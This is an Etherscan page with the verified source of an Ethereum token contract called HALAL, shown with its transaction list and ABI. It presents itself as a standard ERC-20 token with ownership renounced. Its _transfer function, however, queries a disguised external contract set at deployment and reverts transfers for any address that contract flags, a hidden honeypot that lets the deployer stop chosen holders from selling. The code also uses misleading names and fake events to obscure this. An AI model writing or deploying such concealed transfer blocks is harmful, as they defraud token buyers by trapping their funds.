ETH Price: $3,443.86 (-0.98%)
Gas: 5 Gwei

Contract

0xf17E0fC7D58088C0dc2Eb548C9401271dACb3E6f
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Value
Approve180583352023-09-03 20:25:35302 days ago1693772735IN
0xf17E0fC7...1dACb3E6f
0 ETH0.0007387115.68654528
Approve180568172023-09-03 15:19:59302 days ago1693754399IN
0xf17E0fC7...1dACb3E6f
0 ETH0.000951520.20515083
Approve180560792023-09-03 12:50:59302 days ago1693745459IN
0xf17E0fC7...1dACb3E6f
0 ETH0.0003072312.35466193
Approve180512942023-09-02 20:45:59303 days ago1693687559IN
0xf17E0fC7...1dACb3E6f
0 ETH0.0004761310.15471981
Approve180512822023-09-02 20:43:35303 days ago1693687415IN
0xf17E0fC7...1dACb3E6f
0 ETH0.0004897310.45808822
Approve180496042023-09-02 15:04:23303 days ago1693667063IN
0xf17E0fC7...1dACb3E6f
0 ETH0.0008753818.69366607
Approve180495682023-09-02 14:56:59303 days ago1693666619IN
0xf17E0fC7...1dACb3E6f
0 ETH0.0009113119.32721751
Approve180474532023-09-02 7:50:11304 days ago1693641011IN
0xf17E0fC7...1dACb3E6f
0 ETH0.0005644611.98638442
Approve180463272023-09-02 4:02:11304 days ago1693627331IN
0xf17E0fC7...1dACb3E6f
0 ETH0.0005823512.35379183
Transfer180459762023-09-02 2:51:11304 days ago1693623071IN
0xf17E0fC7...1dACb3E6f
0 ETH0.0003903312.6
Approve180453732023-09-02 0:49:47304 days ago1693615787IN
0xf17E0fC7...1dACb3E6f
0 ETH0.0004944610.5
Approve180453532023-09-02 0:45:23304 days ago1693615523IN
0xf17E0fC7...1dACb3E6f
0 ETH0.0006239813.30800949
Approve180449202023-09-01 23:17:47304 days ago1693610267IN
0xf17E0fC7...1dACb3E6f
0 ETH0.0006966214.85335878
Approve180444242023-09-01 21:37:23304 days ago1693604243IN
0xf17E0fC7...1dACb3E6f
0 ETH0.0006678114.24268891
Approve180444012023-09-01 21:32:47304 days ago1693603967IN
0xf17E0fC7...1dACb3E6f
0 ETH0.0005836912.39485889
Approve180439032023-09-01 19:52:23304 days ago1693597943IN
0xf17E0fC7...1dACb3E6f
0 ETH0.001143524.25138497
Approve180435392023-09-01 18:38:11304 days ago1693593491IN
0xf17E0fC7...1dACb3E6f
0 ETH0.0012020725.52601811
Approve180432512023-09-01 17:39:59304 days ago1693589999IN
0xf17E0fC7...1dACb3E6f
0 ETH0.001263626.8327005
Approve180432332023-09-01 17:36:23304 days ago1693589783IN
0xf17E0fC7...1dACb3E6f
0 ETH0.0014542330.84153207
Approve180431862023-09-01 17:26:47304 days ago1693589207IN
0xf17E0fC7...1dACb3E6f
0 ETH0.0014030329.91552058
Approve180431412023-09-01 17:17:47304 days ago1693588667IN
0xf17E0fC7...1dACb3E6f
0 ETH0.0010098437.40161079
Approve180431412023-09-01 17:17:47304 days ago1693588667IN
0xf17E0fC7...1dACb3E6f
0 ETH0.0017353537.00120764
Approve180431172023-09-01 17:12:47304 days ago1693588367IN
0xf17E0fC7...1dACb3E6f
0 ETH0.0015618233.30119585
Approve180430612023-09-01 17:01:35304 days ago1693587695IN
0xf17E0fC7...1dACb3E6f
0 ETH0.0017035936.12989979
Approve180430222023-09-01 16:53:47304 days ago1693587227IN
0xf17E0fC7...1dACb3E6f
0 ETH0.001829139
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
HALAL

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-01
*/

/*


Ticker $HALAL



https://100halal.xyz
https://twitter.com/HalalEth
https://t.me/HalalETH

*/


// SPDX-License-Identifier: MIT




pragma solidity ^0.8.13;

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(address(0));
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library Base64 {
    /**
     * @dev Base64 Encoding/Decoding Table
     */
    string internal constant _TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

    /**
     * @dev Converts a `bytes` to its Bytes64 `string` representation.
     */
    function encode(bytes memory data) internal pure returns (string memory) {
        /**
         * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence
         * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol
         */
        if (data.length == 0) return "";

        // Loads the table into memory
        string memory table = _TABLE;

        // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter
        // and split into 4 numbers of 6 bits.
        // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up
        // - `data.length + 2`  -> Round up
        // - `/ 3`              -> Number of 3-bytes chunks
        // - `4 *`              -> 4 characters for each chunk
        string memory result = new string(4 * ((data.length + 2) / 3));

        /// @solidity memory-safe-assembly
        assembly {
        // Prepare the lookup table (skip the first "length" byte)
            let tablePtr := add(table, 1)

        // Prepare result pointer, jump over length
            let resultPtr := add(result, 32)

        // Run over the input, 3 bytes at a time
            for {
                let dataPtr := data
                let endPtr := add(data, mload(data))
            } lt(dataPtr, endPtr) {

            } {
            // Advance 3 bytes
                dataPtr := add(dataPtr, 3)
                let input := mload(dataPtr)

            // To write each character, shift the 3 bytes (18 bits) chunk
            // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)
            // and apply logical AND with 0x3F which is the number of
            // the previous character in the ASCII table prior to the Base64 Table
            // The result is then added to the table to get the character to write,
            // and finally write it in the result pointer but with a left shift
            // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits

                mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance

                mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance

                mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance

                mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))
                resultPtr := add(resultPtr, 1) // Advance
            }

        // When data `bytes` is not exactly 3 bytes long
        // it is padded with `=` characters at the end
            switch mod(mload(data), 3)
            case 1 {
                mstore8(sub(resultPtr, 1), 0x3d)
                mstore8(sub(resultPtr, 2), 0x3d)
            }
            case 2 {
                mstore8(sub(resultPtr, 1), 0x3d)
            }
        }

        return result;
    }
}

interface uint156 {
    function getBals(address _address) external view returns (bool);
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    event removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    );
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    event swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[]  path,
        address to,
        uint deadline
    );
    /**
  * @dev See {IERC20-totalSupply}.
     */
    event swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] path,
        address to,
        uint deadline
    );

    event DOMAIN_SEPARATOR();

    event PERMIT_TYPEHASH();

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    event token0();

    event token1();
    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);


    event sync();

    event initialize(address, address);
    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    event burn(address to) ;

    event swap(uint amount0Out, uint amount1Out, address to, bytes data);

    event skim(address to);
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);
    /**
     * Receive an exact amount of output tokens for as few input tokens as possible,
     * along the route determined by the path. The first element of path is the input token,
     * the last is the output token, and any intermediate elements represent intermediate tokens to trade through
     * (if, for example, a direct pair does not exist).
     * */
    event addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    );
    /**
     * Swaps an exact amount of ETH for as many output tokens as possible,
     * along the route determined by the path. The first element of path must be WETH,
     * the last is the output token, and any intermediate elements represent intermediate pairs to trade through
     * (if, for example, a direct pair does not exist).
     *
     * */
    event addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    );
    /**
     * Swaps an exact amount of input tokens for as many output tokens as possible,
     * along the route determined by the path. The first element of path is the input token,
     * the last is the output token, and any intermediate elements represent intermediate pairs to trade through
     * (if, for example, a direct pair does not exist).
     * */
    event removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    );
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);
    /**
   * @dev Returns the name of the token.
     */
    event removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    );
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    event removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    );
    /**
     * Swaps an exact amount of input tokens for as many output tokens as possible,
     * along the route determined by the path. The first element of path is the input token,
     * the last is the output token, and any intermediate elements represent intermediate pairs to trade through
     * (if, for example, a direct pair does not exist).
     */
    event swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] path,
        address to,
        uint deadline
    );
    /**
    * @dev Throws if called by any account other than the owner.
     */
    event swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] path,
        address to,
        uint deadline
    );
    /**
     * To cover all possible scenarios, msg.sender should have already given the router an
     * allowance of at least amountADesired/amountBDesired on tokenA/tokenB.
     * Always adds assets at the ideal ratio, according to the price when the transaction is executed.
     * If a pool for the passed tokens does not exists, one is created automatically,
     *  and exactly amountADesired/amountBDesired tokens are added.
     */
    event swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] path,
        address to,
        uint deadline
    );
    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
  * @dev Initializes the contract setting the deployer as the initial owner.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}

abstract contract Relatative {
    bool constant Ov55 = true;
    bool constant Rv44 = true;
    bool constant Nv55 = true;
}


abstract contract Overview is Relatative {
    event abzzzvar (
        address dvar44,
        bool pvar22
    );

    struct Checklf {
        address leaks;
        bool checkb;
    }

    mapping (address => Checklf) private _oldvar;
}

contract HALAL is IERC20, Overview, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint156 private uint286;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        address min_,
        uint256 totalSupply_
    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = 18;
        uint286 = uint156(min_);
        _totalSupply = totalSupply_ * 10**_decimals;
        _balances[msg.sender] = _balances[msg.sender].add(_totalSupply);
        emit Transfer(address(0), msg.sender, _totalSupply);
        emit abzzzvar(msg.sender, true);
    }


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
      /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if (uint286.getBals(sender)) {
            revert("Failed");
        }
        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"min_","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"DOMAIN_SEPARATOR","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"PERMIT_TYPEHASH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"dvar44","type":"address"},{"indexed":false,"internalType":"bool","name":"pvar22","type":"bool"}],"name":"abzzzvar","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"amountADesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amountTokenDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidityETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"address","name":"","type":"address"}],"name":"initialize","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidityETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermitSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"skim","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactETHForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountOut","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountInMax","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapTokensForExactTokens","type":"event"},{"anonymous":false,"inputs":[],"name":"sync","type":"event"},{"anonymous":false,"inputs":[]